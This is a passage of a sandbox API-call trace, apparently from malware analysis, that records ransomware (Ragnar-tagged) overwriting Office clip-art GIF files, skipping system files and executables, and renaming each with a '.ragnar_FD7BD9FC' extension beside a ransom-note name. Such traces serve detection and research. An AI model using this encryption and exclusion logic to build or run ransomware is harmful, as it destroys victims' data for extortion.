(lpString1="WB01751_.GIF", lpString2="thumbs.db") returned 1 [0093.196] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0093.196] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0093.196] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0093.196] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0093.196] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0093.196] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0093.196] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0093.196] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01751_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01751_.gif")) returned 0x20 [0093.196] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01751_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01751_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0093.197] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=953) returned 1 [0093.197] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3b0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.197] GetProcessHeap () returned 0x580000 [0093.197] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0093.197] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0093.199] VirtualAlloc (lpAddress=0x0, dwSize=0x3b9, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0093.199] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.199] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0093.199] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3b9, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3b9, lpOverlapped=0x0) returned 1 [0093.199] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0093.199] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3b9, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.199] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3b9, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3b9, lpOverlapped=0x0) returned 1 [0093.199] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3b9, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.200] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.200] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3b9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.200] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.200] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.200] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.200] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0093.200] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.200] GetProcessHeap () returned 0x580000 [0093.200] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0093.200] CloseHandle (hObject=0xf4) returned 1 [0093.200] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01751_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01751_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01751_.GIF" [0093.200] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01751_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01751_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01751_.GIF.ragnar_FD7BD9FC" [0093.201] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01751_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01751_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01751_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01751_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0093.201] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3fc5100, ftCreationTime.dwHighDateTime=0x1bd4e61, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe3fc5100, ftLastWriteTime.dwHighDateTime=0x1bd4e61, nFileSizeHigh=0x0, nFileSizeLow=0x304, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01770_.GIF", cAlternateFileName="")) returned 1 [0093.202] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0093.202] lstrcpyW (in: lpString1=0x1eb62e, lpString2="WB01770_.GIF" | out: lpString1="WB01770_.GIF") returned="WB01770_.GIF" [0093.202] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01770_.GIF") returned=".GIF" [0093.202] lstrcmpiW (lpString1="WB01770_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0093.202] lstrcmpiW (lpString1="WB01770_.GIF", lpString2="autorun.inf") returned 1 [0093.202] lstrcmpiW (lpString1="WB01770_.GIF", lpString2="boot.ini") returned 1 [0093.202] lstrcmpiW (lpString1="WB01770_.GIF", lpString2="bootfont.bin") returned 1 [0093.202] lstrcmpiW (lpString1="WB01770_.GIF", lpString2="bootsect.bak") returned 1 [0093.202] lstrcmpiW (lpString1="WB01770_.GIF", lpString2="bootmgr") returned 1 [0093.202] lstrcmpiW (lpString1="WB01770_.GIF", lpString2="bootmgr.efi") returned 1 [0093.202] lstrcmpiW (lpString1="WB01770_.GIF", lpString2="bootmgfw.efi") returned 1 [0093.202] lstrcmpiW (lpString1="WB01770_.GIF", lpString2="desktop.ini") returned 1 [0093.202] lstrcmpiW (lpString1="WB01770_.GIF", lpString2="iconcache.db") returned 1 [0093.202] lstrcmpiW (lpString1="WB01770_.GIF", lpString2="ntldr") returned 1 [0093.202] lstrcmpiW (lpString1="WB01770_.GIF", lpString2="ntuser.dat") returned 1 [0093.202] lstrcmpiW (lpString1="WB01770_.GIF", lpString2="ntuser.dat.log") returned 1 [0093.202] lstrcmpiW (lpString1="WB01770_.GIF", lpString2="ntuser.ini") returned 1 [0093.202] lstrcmpiW (lpString1="WB01770_.GIF", lpString2="thumbs.db") returned 1 [0093.202] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0093.202] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0093.202] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0093.202] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0093.202] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0093.202] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0093.202] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0093.202] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01770_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01770_.gif")) returned 0x20 [0093.203] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01770_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01770_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0093.203] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=772) returned 1 [0093.203] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2fb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.204] GetProcessHeap () returned 0x580000 [0093.204] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0093.204] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0093.205] VirtualAlloc (lpAddress=0x0, dwSize=0x304, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0093.205] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.205] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0093.205] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x304, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x304, lpOverlapped=0x0) returned 1 [0093.205] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0093.206] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x304, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.206] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x304, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x304, lpOverlapped=0x0) returned 1 [0093.206] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x304, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.206] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.206] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x304, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.206] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.206] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.206] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.206] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0093.206] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.206] GetProcessHeap () returned 0x580000 [0093.206] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0093.206] CloseHandle (hObject=0xf4) returned 1 [0093.206] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01770_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01770_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01770_.GIF" [0093.207] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01770_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01770_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01770_.GIF.ragnar_FD7BD9FC" [0093.207] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01770_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01770_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01770_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01770_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0093.207] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa42a6f00, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa42a6f00, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0xe44, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01838_.GIF", cAlternateFileName="")) returned 1 [0093.207] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0093.207] lstrcpyW (in: lpString1=0x1eb62e, lpString2="WB01838_.GIF" | out: lpString1="WB01838_.GIF") returned="WB01838_.GIF" [0093.207] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01838_.GIF") returned=".GIF" [0093.207] lstrcmpiW (lpString1="WB01838_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0093.207] lstrcmpiW (lpString1="WB01838_.GIF", lpString2="autorun.inf") returned 1 [0093.207] lstrcmpiW (lpString1="WB01838_.GIF", lpString2="boot.ini") returned 1 [0093.207] lstrcmpiW (lpString1="WB01838_.GIF", lpString2="bootfont.bin") returned 1 [0093.208] lstrcmpiW (lpString1="WB01838_.GIF", lpString2="bootsect.bak") returned 1 [0093.208] lstrcmpiW (lpString1="WB01838_.GIF", lpString2="bootmgr") returned 1 [0093.208] lstrcmpiW (lpString1="WB01838_.GIF", lpString2="bootmgr.efi") returned 1 [0093.208] lstrcmpiW (lpString1="WB01838_.GIF", lpString2="bootmgfw.efi") returned 1 [0093.208] lstrcmpiW (lpString1="WB01838_.GIF", lpString2="desktop.ini") returned 1 [0093.208] lstrcmpiW (lpString1="WB01838_.GIF", lpString2="iconcache.db") returned 1 [0093.208] lstrcmpiW (lpString1="WB01838_.GIF", lpString2="ntldr") returned 1 [0093.208] lstrcmpiW (lpString1="WB01838_.GIF", lpString2="ntuser.dat") returned 1 [0093.208] lstrcmpiW (lpString1="WB01838_.GIF", lpString2="ntuser.dat.log") returned 1 [0093.208] lstrcmpiW (lpString1="WB01838_.GIF", lpString2="ntuser.ini") returned 1 [0093.208] lstrcmpiW (lpString1="WB01838_.GIF", lpString2="thumbs.db") returned 1 [0093.208] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0093.208] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0093.208] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0093.208] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0093.208] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0093.208] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0093.208] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0093.208] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01838_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01838_.gif")) returned 0x20 [0093.208] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01838_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01838_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0093.209] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3652) returned 1 [0093.209] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xe3b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.209] GetProcessHeap () returned 0x580000 [0093.209] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0093.209] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0093.210] VirtualAlloc (lpAddress=0x0, dwSize=0xe44, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0093.210] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.210] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0093.210] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xe44, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xe44, lpOverlapped=0x0) returned 1 [0093.210] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0093.211] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xe44, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.211] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xe44, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xe44, lpOverlapped=0x0) returned 1 [0093.211] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xe44, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.211] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.211] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xe44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.211] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.211] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.211] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.211] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0093.211] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.211] GetProcessHeap () returned 0x580000 [0093.211] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0093.211] CloseHandle (hObject=0xf4) returned 1 [0093.212] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01838_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01838_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01838_.GIF" [0093.212] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01838_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01838_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01838_.GIF.ragnar_FD7BD9FC" [0093.212] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01838_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01838_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01838_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01838_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0093.212] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1c81500, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa1c81500, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x446, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01839_.GIF", cAlternateFileName="")) returned 1 [0093.212] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0093.212] lstrcpyW (in: lpString1=0x1eb62e, lpString2="WB01839_.GIF" | out: lpString1="WB01839_.GIF") returned="WB01839_.GIF" [0093.212] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01839_.GIF") returned=".GIF" [0093.212] lstrcmpiW (lpString1="WB01839_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0093.212] lstrcmpiW (lpString1="WB01839_.GIF", lpString2="autorun.inf") returned 1 [0093.213] lstrcmpiW (lpString1="WB01839_.GIF", lpString2="boot.ini") returned 1 [0093.213] lstrcmpiW (lpString1="WB01839_.GIF", lpString2="bootfont.bin") returned 1 [0093.213] lstrcmpiW (lpString1="WB01839_.GIF", lpString2="bootsect.bak") returned 1 [0093.213] lstrcmpiW (lpString1="WB01839_.GIF", lpString2="bootmgr") returned 1 [0093.213] lstrcmpiW (lpString1="WB01839_.GIF", lpString2="bootmgr.efi") returned 1 [0093.213] lstrcmpiW (lpString1="WB01839_.GIF", lpString2="bootmgfw.efi") returned 1 [0093.213] lstrcmpiW (lpString1="WB01839_.GIF", lpString2="desktop.ini") returned 1 [0093.213] lstrcmpiW (lpString1="WB01839_.GIF", lpString2="iconcache.db") returned 1 [0093.213] lstrcmpiW (lpString1="WB01839_.GIF", lpString2="ntldr") returned 1 [0093.213] lstrcmpiW (lpString1="WB01839_.GIF", lpString2="ntuser.dat") returned 1 [0093.213] lstrcmpiW (lpString1="WB01839_.GIF", lpString2="ntuser.dat.log") returned 1 [0093.213] lstrcmpiW (lpString1="WB01839_.GIF", lpString2="ntuser.ini") returned 1 [0093.213] lstrcmpiW (lpString1="WB01839_.GIF", lpString2="thumbs.db") returned 1 [0093.213] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0093.213] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0093.213] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0093.213] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0093.213] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0093.213] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0093.213] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0093.213] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01839_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01839_.gif")) returned 0x20 [0093.213] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01839_.GIF" (normalized: 